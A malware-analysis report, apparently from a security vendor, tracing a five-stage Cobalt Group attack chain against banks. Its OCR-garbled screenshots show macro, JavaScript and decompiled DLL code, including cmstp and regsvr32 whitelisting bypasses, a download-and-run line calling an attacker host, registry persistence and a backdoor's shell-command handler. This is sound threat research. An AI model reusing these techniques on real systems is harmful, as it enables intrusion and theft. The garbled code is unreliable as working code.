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Over the past year, Morphisec and several other endpoint protection companies have been tracking a resurgence in
activity from the Cobalt Group. Cobalt is one of the most notorious cybercrime operations, with attacks against
more than 100 banks across 40 countries attributed to the group. The most recent attacks can be grouped into two
types of campaigns. Many of the campaigns are based on the known and prevalent ThreadKit exploit kit
generation framework. Other campaigns are more sophisticated, borrowing only some functionality from

ThreadKit builder while incorporating additional advanced techniques from other sources.

Morphisec Labs believes that the Cobalt Group split following the arrest of one of its top leaders in Spain in
March of 2018. While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery
method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater.

One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript
backdoor, was investigated and presented by the Talos research team. Morphisec has investigated different
samples from the same campaign. The following analysis presents our findings, focusing on the additional

sophistication patterns and attribution patterns.

Cobalt Group Technical Details

Stage 1 — Word Macro + Whitelisting Bypass

As with many other campaigns, the victim received a document with malicious macro visual basic code.
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Although the code is heavily obfuscated, the entry point is easily identifiable. The VB code is executed starting
from the Framel_Layout function — this method is used much less frequently than the obvious Document_Open

or the AutoOpen.
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The macro is executing the legitimate Windows process cmstp.exe (connection manager Profile Installer). This
technique was previously used by the MuddyWater group when attacking Middle East targets. The use of
cmstp.exe whitelisting bypass was researched by Oddvar Moe, where he showed how, by manipulating the inf file,

cmstp can execute scriptlets or executables.

Basic for Applications - Doc005748175819 - [ThisDncumen{(Cnde_h P— LT -:_
iew Insert Format Debug Run Tools Add-Ins Window Help T
ft@ARA 90 » n a K BFY - 9
LI |(General) | [Pr228
H On Error GoTo PkO
= If Pkl = 1 Then
)05 'DebugPrint (Pk348 & " " & Pkb09 & " " & Pkl73(0))
o | | callByName Pk2, PK348, PK509, PK173(0), Null, PK173(1)
Else
W | set Pk228 = CallByName (Pk2, Pk348, Pk509, Pk173(0))
'DebugPrint (Pk348 & " " & Pk509 & " " & Pk173(0))
End If
Exit Function
4 PkO:
% =|= 4|
Immediate

Get 1 Win32_ ProcessStartup
SpawnInstance_ 1 0
Create 1 cmd /V /C set "fl1=%APPDATA%\Microsoft\%RANDOM%%RANDOMS.txt"

@

m

set "dg=""~"
(For %i in ("[version]" "Signature=$chicago$" "AdvancedINF=2.5" "[DefaultInstall SingleUser]" "UnRegisterOCXs=P.
echo ServiceName=!dq! !dq!>>!f1!
echo ShortSvcName=!dqg! !dg!>>!f1! o Telerik Fiddler Web Debugger
start "" SWINDIR%\System32\cmstp.exe /s /ns "!f1!"

File Edit Rules Tools View Help GET/book &% GeoEdge
() 43 Replay X+ b Go ¥ Stream [ Decode | Keep: All sessions ~ &5 An

= Result Protocol Host URL Be
B] 1 200 HTTP e-dropbox.biz jfrobots. txt

In our case the attacker abused cmstp to execute JavaScript scriptlet (XML with JS) that is downloaded from the
e-dropbox|.]biz site. This way the group limited the exposure and the delivery of the JavaScript to relevant targets

only.
Stage 2 — JavaScript Dropper + Whitelisting Bypass

The JavaScript is well encoded with rc4 and some custom modifications:
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=] e-dropboxbiz_robots it E3 { Boooypieas B
1 <?XML version="1.0"2> 2 var payload dll GTXJk35DC1
2 EB<scriptlet> 3 var doc_content 1Er+DNPjR/
. g 4
S <registration 5 var FileSystemObject = new ActiveXObject ("Scripting.FileSystemObject™);
4 description="pgx" 6
5 | progid="pgx" 7
6 version="1.00" 8 function is0S64() {
5 & var nSeEFKLSq;
7 |classid="{48F99EC0-37E4-BB1F-49C6-C97| i, nSeEFKLSq = EnvOrExecute ("PROCESSOR ARCHITECTURE", "SYSTEM");
8 §> 1= if (nSeEFKLSq === "AMDE4") {
9 H<script language="JScript"> 2 return true;
10 |<![CDATA[ ﬁ } elset( o
11 | function gQQv (hcffs, vdvofU2) {returnm || . | ; return false;
I 11> |,
13 f</script> 17
14 </registration> 18 Ofunction rc4(key, str) {
i 19 var s = ;
15 </scriptlet> = e
7AL var x;
22 var res = [];
23 var i;
24 var y;

25 [ﬂ if (key && str) {

The decrypted JavaScript has some similar functionality to the ThreadKit builder which is heavily used by the
Cobalt Gang 1.0.

71
19
o]

if (is0864() = true) {

A Ol — Twmmta f MOV OMTMDANT I NDDACTOCNY 4 M\ O WAWTEANN T L Ol o

1 decryptedjs i!i‘
153 O try {
)54 Execute ('reg.exe delete HKEY CURRENT USER\\Software\\Microsoft\\Office\\16.0\\Word\\Resiliency /f'
155 } catch (vvv) {
56 nnn = 5508;
J;Z r 1}: ’ a )| B httpsy//ww proofpoint.com/us/threat-insight/pc 2 ~ & || B Unraveling Tt
108 H ry
159 E if (f11) | proofpoint.
160 FileSystemObject.CopyFile (aGaul, f11, 1);
reg delete HKEY CURRENT USER\Sof oft\Office\11.0\Word\Resiliency

161 } else { reg 3 oft\Office\12.0\Word\Resiliency
162 f11 = aGaul; " o£t\OEEiceN14. 0\ord\Re 1 11ency
ol reg delete HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Resiliency
i } “eg deleve HREY CURRENT_USER\Software\MicrosoFe\OFfice\16.0\Nord\Resilioncy
164 } catch (vvv) { for /£ "tokens=1* delims=\#" REG QUERY

= _ . "HKEY_CURRENT_USER\SOFTWARE\M: Of£fice\8.0\Word\File MRU" /v "Item 1"'
165 f11 = aGaul; D BGRB8
166 |} for /£ "tokens=1* delims=\*" %%a in ('REG QUERY
F57) Execute ("cmd.exe /c start \"\" /MAX winword \"" + f11, 2, "HREY_CURREI::_USER;SOF':‘WARE\Mxcrfsnfc\offxce\SAO\Hord\File MRU" /v "Item 1"*

copy &temps\decoy.doc "t

HGE.
B N, M S m
70 var aSbrzn = "regsvr32.exe"; i

As can be seen from the deobfuscated code, the JavaScript yet again bypasses whitelisting by manipulation of
regsvr32.exe, another legitimate Windows process. The two dropped artifacts — a payload DLL and a Word
document — are written to the “Users<Log on User>" folder (the document will replace the opened malicious

document with clean stub after killing the running Word process).

Stage 3 — PureBasic Legitimate Executable Mixed with Additional Malicious Functions

The dropped DLL is actually a PureBasic compiled code and a legitimate application. The application is not
signed (as many other PureBasic applications) and therefore easily manipulated to execute inserted malicious
code. In this case, the exported function DIIRegisterServer wasn’t part of the legitimate application and is perfect
for application flow redirection when executed by regsvr32.exe. Because PureBasic is a full programming
language that compiles to assembly and has endless possibilities and APIs to manipulate the memory, it also
complicates the generation of patterns by security vendors that base their detection on static or dynamic pattern
signatures. Although some security solutions will block all PureBasic programs (wrong move — there are plenty of

legitimate PureBasic programs in use today), it’s a smart move made by the attacker group.
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4 {5 20545.txt A% = = & n ]
AT ® DOS Header 8
@ DOS stub 0| 49213 k4 | 56| 71818 |Ain:
4| Member Offset Size Value * “ NTS};‘ueﬁgirrse 4Uu 83 7C 24 08 01 75 19 8B 44 24 04 a3 2 |8
. File Header 41U EB 2D 00 00 00 FF 35 AQ 4F 01 10 E8 2

Characteristics 0000F080 Dweord 0000000 5 gptiolqalg... 420 B3 7C 24 08 02 75 00 83 7¢ 24 08 00 1 A

S - ectionl+eacl. 43u 00 00 00 83 7C 24 08 03 75 00 B8 01
TimeDateStamp 0000F084 Dword SAF047Z 4 SAE I(.)ggde aau e D0 Be badn Gt a0 Bh S0 a6
MajorVersion 0000F088 Word 0000 |= ?GETP =400 :k| UM \m Y

. y rdata
MinorVersion 0000FO8A Word 0000 % .dtha Disasm: .code | General ‘ DOS Hdr | File Hdr | Optional Hdr <

reloc
Name 0000F08C Dword 00010AE IS
Base 0000F090 Dword 0000000 Pe——— 81920
NumberOfFunctions 0000F094 Dword 0000000 File Alignment Units 160
NumberOfNames 0000F098 Dword 0000000 MD5 f680dbd199ddf728ae591235¢781111c
o SHAL be0889fbd9b4c4201113dc5407f8a3604d4echa
« mn »
Checksum 14902
Name Ordinal | Name RVA Name .
Offset  Name Section

Word Dword szAnsi 400 PureBasic DLL -> Neil Hodgson .cade
0000 00010AB3 DiiRegisterServer

To function properly, the malicious injected code needs to reflectively load and map to existing core functions.

The same code also applies anti-disassembly and anti-debugging techniques. It gets the following functions from
Kernel32 and Advapi32:

1
if { *RegQueryValueExUStub )
{

e

if { *RegSetUalueExWStub )
{

H
if ( *RegCreateKeyExWStub )
{

e

u2? =

return v27 t= 8;

u18 = LocationForStrings;
DecryptHash({int)a6727526 0425542, dword_10014F
++LocationForStrings;

u2@ = (int (_ stdcall =){_DWORD, _DWORD, _DWOR

LocationForStrings = vis;
RegQueryUalueExWStub = v26;

v2z1 = LocationForStrings;
DecryptHash({int)a67275262524h66, dword_186814Fl
++LocationForStrings;

u23 = (int (_ stdcall =){_DWORD, _DWORD, _DWOR
LocationForsStrings = v21;
RegSetValueExWStub = v23;

u2h = LocationForStrings;
DecryptHash{{int)aé, dword_18814FFC, LocationF{j
++LocationForStrings;

uz6 = (int (_ stdcall =){_DWORD, _DWORD, _DWOR
LocationForstrings = v2h;

RegCreateKeyExWStub = v26;

CryptAcquireContextUStub
CryptGenRandomStub
CryptReleaseContextStub
RegOpenKeyExWStub
RegCloseKeyStub
RegQueryVUalueExWStub
RegSetValueExWStub
RegCreateKeyExWStub;

Bl
Bl
13
13
13
Bl
Bl

149
158
151
152
153
154
155
156
157
158
159
168
161
162
163
164
165
166
167
168
169
178
171
172
173
174
175
176
177
178
179
188
181
182
183
184
185
186
187
188
189}

DecryptHash{{int}a7?_7, dword_18814FFC, LocationForStrings);

++LocationForsStrings;

w32 = {int {_ stdcall x}{_ DWORD))GetProcAddressCustom{Kernel3d2_ptr, (wchar_t *)}({char x)lpHem + vi31})
LocationForStrings = v20;

FlushFileBuffersStub = v32;

¥
if { tWriteFileStub )
{
u33 = LocationForStrings;
DPecryptHash{{int)a623065c45527659, dword_10014FFC, LocationForStrings);
++LocationForsStrings;
w35 = {int {_ stdcall =}{_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddressCuston{
Kernel32 ptr,
{uchar_t =)}{{char =)lpHem + u3L});
LocationForStrings = v33;
WriteFileStub = u35;

H
if { 'GetCurrentProcessIdStub )
{

u36 = LocationForStrings;

DecryptHash{{int)a72274172424242, dword_18814FFC, LocationForStrings);

++LocationForstrings;

u38 = {int {_ cdecl *){ DWORD})GetProcAddressCustom{Kernel32_ptr, {(wchar t =)}({char =)1lpHem + u37));
LocationForsStrings = u36;

GetCurrentProcessIdStub = vig;

vae =
&
&
el
&&
B
&
B
B
B
&

GetCurrentProcessIdStub
CreateFileWStub
FlushFileBuffersStub
UriteFileStub
CloseHandleStub
ExpandEnvironmentStringsWStub
CreateProcessiStub
OpenProcessStub
TerminateProcessStub
*{_DWDRD *)Process32Nexth
*#{_DWDRD =*)CreateToolhelp32SnapshotStub
&& GetEnvironmentVariableWStub
&& GetHoduleFileNameWStub;
return v39 t= 8;

The code then uses the identified functions to add persistency through registry and add next stages file names

identifier through the following locations:

o HKCUEnvironmentUserInitMprLogonScript — next stage command (JavaScript downloader executed

through regsvr32) is registered under UserInitMprLogonScript.

HKCUSoftwareMicrosoftNotepad <$UserName$> — The code creates a new value under Notepad Key

with a pair representing randomly generated key pair. The right side of the pair is the name of the

JavaScript in the next stage (stage 4) , while the left side of the pair represents the file that will be

downloaded as part of stage 5.
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9 CopyStrToeap((LPUOID yeuns, voy; T 26 Int uzd; 77 [espetdn] [ebposhiar

0 Decrypthash((int)aur275242414263, duord_10814FFC, LocationForStrings): 7
1 CopyStrToHeap((LPUOID +)&dword 10815034, u10);
2 if { RegQueryUaluebrapper({intjduord 1084508k, vhii, vis) }// EnvironmentiUserInitHprLogonScript
3 ;
4 sub_10B3E6B(dword_1091500%, (int)usk, (SIZE_T)uss, LocationForStrings); 31 str - 0
5 s+LocationForStrings; 32 DecryptHash((int)as_8, dword 18614FFC, LocationForStrings);// Softuare\Microsoft\Notepad
6 uls = LecationForStrings; 33 CopyStrToHeap((LPUDTD =)eStr, u);
7 CopyStrTohieap_B(duord_16615034); 34 u1 = LocationForStrings;
8 CopyStrTolieap B(duord 18814FAC); 35 Decryptash((int)a1037465uk55e51, duord 18014FFC, LocationForStrings);// %username%
9 CopyStrToHeap_B(duord_16614FB4) 36 ExpandEnuironmentStringstirapper({uchar T <)((char *)::lpen + u2), v1);// Get UserNane

0 LocationForstrings = vis; 37 GopyStrToHeap(&lpiien, va);
1 StringCmp({__int16 *){{char *)u15 + (_DUORD)1pMem), (__int16 *3¢(char *juii + C_DUORD}LpHen)): 38 if { RegQueryUalueiapper((int)duord_18615004, Str, (uchar_t =)lpien) }// Softuare\icrosoft\Notepadi\SUserNaneS
2 iF (U6 39 ¢
EI © 40 sub 10003EGE(dword 10015094, (int)sir, (SIZE T}lpiien, LocationForStrings);
4 17 = LacationForst — - - |
5 w15 - LocationForste| 8§ Resbty Editor R L - - -~ B
s CopyStrToHeap_8(dwor | File Edit View Favorites Help
7 CopyStrTolieap_8(duo 5 Comput —
8 GopyStrToleap_o(dwor| | 1% Computer Name Type Data
9 ++LocationForStrings b~ HKEY_CLASSES ROOT 0] (Defoult) REG_SZ (value not set)

8 u19 = WriteToRegisty 4+ HKEY_CURRENT_USER =/ | 8)patn REG_EXPAND.SZ  C:A\Ruby23\bin; C:\Program Files (86)\Nmap
1 LocationForStrings < » . AppEvents
s Frarir i, 28] PATHEXT REG_EXPANDSZ  S4PATHEXTS RE:RBW
3 sub_16803626(); > B Controt Panel | [aTeme REG_EXPANDSZ  %USERPROFILE\AppData\Local Temp
K. i TP REG_EXPANDSZ  SUSERPROFILE\AppData\Local Temp
HIp. T3 e £ UzerinithiprLogonsSeript REG_SZ 2eve /5N /UL'C: D ADAC26" SCrobiDLL
71 . Identities

- . | Kevboard Lavout =
"‘"“‘“"557 I comp: /_CURRENT |

Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by

the Cobalt Group against Ukrainian banks.

As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming

directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript.

7] FlushFile «coc 211 if { WriteContentToFile(name, (int)data, size) == 1 )
7| CreateToolhelp32Snapshot «cod 212

7] RegistryCreateKey «coc| ™ 213 if ( data )

5 RegCloseKey -cod 214 {

7] GetKernel32FromPEB «cac 215 HeapFree_18815358(data);

7] writeContentToFile coc 216 data = 8;

iMapAdvaplﬂFUnctlons .coc g:; :?lF ¢ uso )

:; CreateProcess R-14 210 {

; CreateProcessAndPersist .COC 294 HeapFree_18015358(u56);

| GetCurrentProcessid .cod 221 use = @;

7 sub_10001F43 coc 222 3

f;uh_m(]m}:sz .coc 223 regsur3?_process_id = (LPSTR)GetCurrentProcessId{};
EExpand[nvironmentStringsw «cod 5315; while { GetProcessld({dword_18815834) )

7 sub 10002089 <oc 59 e (Cerun > 8 )

i GetProcAddressCustom .coc 997 break:

- OpenProcess «cod 228 process_id = (CHAR x)GetProcessId{dword_10015034);
-] CreateFile «coc 229 ui1 = process_id t= regsur32?_process_id && process_id;
*| CryptAcquireContextW .coc 2308 if ( vdl )

5 ExpandEnvironmentStringsWrapper .coc 23 TerminateProcess_B(process_id, {(UINT)ulh);

5 GetEnvironmentVariableW -cod 232 Sleep(288u);

5 CreateProcess 0 .coc 233 H o a

:WritETURegistry .coc gg; E:l;[::ss‘fld =8

o WriteToFile oo 236 sub_1808620A9 (dword_10015634, LocationForStrings);
_| CryptReleaseContext cod 237 CopyStrToHeap_B{duord_186814FAC) ;

-] RegQueryValueBxW ot 238 CopyStrToHeap_B{dword_10014FB4);

| RegQuenValueWrapper .coc 239 CopyStrToHeap({LPUDID =)&dword_186815834, vh2);

] sub_10002843 coc 240 StringCmp{@, ( int1é =)dword_18615034);

] GetProcessid .coc 241 if ( vi6 )

7 GetPER cad 242 [.:reateProt.:essiﬂ(duordj[1[!15[13!;);

= RegSetValueExW cod 243 In:!.tStl‘72((:!.nt)&dwol‘d71l3l311|le, #word_1868116828);

= ) ) 244 Initstr_2{{int)&dword_186814FA8, &word_18811828);

_| GetModuleFileNameW -cod 245 InitStr_2({int)&dword_18615834, &word_188116820);

; RegCreateKeyExW .cod 246 ¥

o 1nanaace — an Te s e

Stage 4 — JavaScript Downloader + Whitelisting Bypass

Here, the scriptlet is automatically obfuscated in a way similar to the first scriptlet:

<1--E6E74C44792F78391D061F3EEBF673D3866F2AT3STBDY008DIESSESCCE2159F772AEC3D7361F698EBLSACT121D83473F841D23CAFCA4DETDDE1ER] 2FD425EADT4F4DCCA08CCFRO63BT7 7T TBSF

<component id=" ™=
<registration

progid="
classi
<script >

var eDplmHNPk="1
</script>
</registration>
</component>

</package><!--BC1083C3310A6F00B0367D20B0EBA6924AT92BBF1BBAESEB1005525R9231B05419605245CE3ADERI DIEBBT449BCIBI96418300695464602792E5649AD5360EO8TFSTCI62BE4DEIB

After quick deobfuscation, we get to a clear JavaScript that is trying to download the next stage JavaScript
backdoor using the same regsvr32. Note that the name for the JavaScript is part of the Notepad registry key that

was written in a previous stage.
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var xStore = "'";
xStore = "HKEY_ CURRENT_USER\\\\Software\\\\Microsoft\\\\Notepad\\\\" + uN{();

Jfunction hit () {

0 |}

var x1;

var Note;

var Sp;

var saveTo;

var xxl = rsvr + " /S /W /U /I:";

var xx2 = " SCROBJ.DLL'"™;

var mLink = "https: server.vestacp.kz/robots.txt";

var comm = xx1 + mLink + xx2;

if (xGo(comm) === true) {
waitfor (l, 0);

}

if (installed() === false) {

saveTo = myEnv ("APPDATA™) + "\\\\";
try {
x1l = obj("WScript.Shell™) ;
Note = x1.RegRead(xStore) ;
if (Note) {
if (Note.indexOQf(",") !'== -1) {
Sp = Note.split(",");
saveTo += Spl[U] + ".LxL";
} else {
saveTo += tExtra();

1

The script also validates that no one changed the name of the executed file that was randomly given during the

previous stage. If the name of the executed JavaScript doesn’t match the name registered in the Notepad registry

key, the script will not execute (researchers sometimes change the names of the files to execute the different stages

separately — this will not work in this case).

E| try {
x1 = obj ("WScript.Shell™);
Note = x1.RegRead(xStore) ;
3 if (Note) {
k! if (Note.indexOf (", ") !== =1) {
Sp = Note.split(",");
3 if (Sp.length === 2) {
uLoc = myEnv ("APPDATA™) + " \\\\" + Sp[l]l + ".izxt";
] if (fexist (uLoc) === false) {
return false;
i }
return true;
} else ﬂ
return false;
. }
} else {
return false;
: }
} else {
return false;
: }
} catch (e89) {
return false;
: }
-}
Jif (cIn() === true) {
go();
-1}

This decoded JavaScript downloader is almost identical to downloader previously seen around one year ago —
https://twitter.com/ItsReallyNick/status/914894320766943232.
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Stage 5 — JavaScript Backdoor

The last stage JavaScript is downloaded from hxxps://server.vestacp[.]kz/robots.txt.

The JavaScript is obfuscated the same way as in the previous stages. After deobfuscation, we encounter a

backdoor that was used in attacks against Russian speaking businesses in August 2017. This backdoor protocol of

commands here is almost identical to the previously described backdoor, aside from some name changes:

“d&exec” — Download an executable or a dll (if it’s a dll, use regsvr32 to execute it)
“more_eggs” — Downloads and replace the existing backdoor script with new script
“gtfo” — Clean traces, remove persistency and stage 4,5 files

“more_onion” — Execute the Backdoor script

“via_x" — execute cmd / shell commands locally

1496
1497
1498
1499
1500
1501

502
1503
1504
1505
1506
1507

508
1509
1510
150
1512
ILGILS)
1514
15505
1516
1517
1518
1557159

520
1521
1522
1L523)
1524
L5215

r }
-}

case

"via x":
flink = get string between(FullTask, "[zyzl", "[/zyzl"):
if (flink) {
try {
zl.run("cmd.gxe /c " + flink, 0, 0);
eState = "1";
} catch (e777) {
eState = "0";
}
TaskReply = PreserveHl + "[task executed]" + eState + "[/task executed] [te
hit Gate(Gate, TaskReply, 0);
}

break;

= function mainskid() {

rcon now += 1;
= if (rcon now >= rcon max) {
var notez;
var unigLocal2;
var sp2;
var xSkid = obj("WScript.sShell”);
var dg2 = "\\xz22";
=) try {

note2 = xSkid.RegRead(xStore) ;
if (note2) {
if (note2.indexOf(",") '== -1) {
sp2 = noteZ.split(",");
uniglLocal2 = xApp + "\\\\" + sp2[2] + ".Lzt";

As with every communication with the C2, the script collects and sends information about the target environment

including the stack of security solutions installed on the computer and are part of the following list:
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if (pList.length >= {
var vl = "Windows Defender";
var vZ2 = "McAfee";
var v4 = "Avast"

var vb =
var ve = "AVG";
var v/ = "TrendMicro";
var v8 = "Panda";
var v9 = "F-Secure”;
var v10 = "EKaspersky";
var vll =
var vlZz =
var v13 =
var vl4d = "ESET"™;
var v15 = "Comodo";
var vle = "MalwareBytes";
var v1l7 = "Norton";
var v18 = "ClamAV
var v19 = "TrusteerRapport";
var v20 = "DeepFreeze";
var v21 = "360 Total Security";
var v22 = "Seqrifte Endpoint Security";
var v23 = "Quick Heal";
var v24 = "Fortinet";
var v25 = "Bildefender Endpoint Security";
var vZ2e6 = "ByteFence";
var v27 = "G-Data";
var v28 = "Webroot";
Artifacts

https://github.com/smgorelik/Meetups/blob/master/09272018 Meetup.7z

Conclusion

As organizations improve their defenses, attackers find new ways to get around them. Threat groups such as
Cobalt are increasingly incorporating delivery techniques that allow them to easily bypass whitelisting and
AppLocker policies, and we see more and more attacks using legitimate processes to carry out their malicious

intent.

Although some of the decrypted artifacts have been seen in the wild since the beginning of the year (or earlier),
the attack is still very effective as many security solutions do not detect the artifacts once they are obfuscated and
encrypted. The need for a different approach to security is greater than ever. Moving Target Defense, as defined
by the DHS and implemented by Morphisec, breaks the assumptions made by the attackers. The Morphisec

Preemptive Cyber Defense Platform natively prevents the attack before it can perform any type of malicious

activity, no updates needed.
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Organizations should expect to see much more coming from all Cobalt Group factions during the next year.

Contact one of our security experts to learn how Morphisec protects your business from this and future Cobalt

attacks.

Get the ransomware-free [ cuwme  —oee

guarantee

al LI1E

Get a demo
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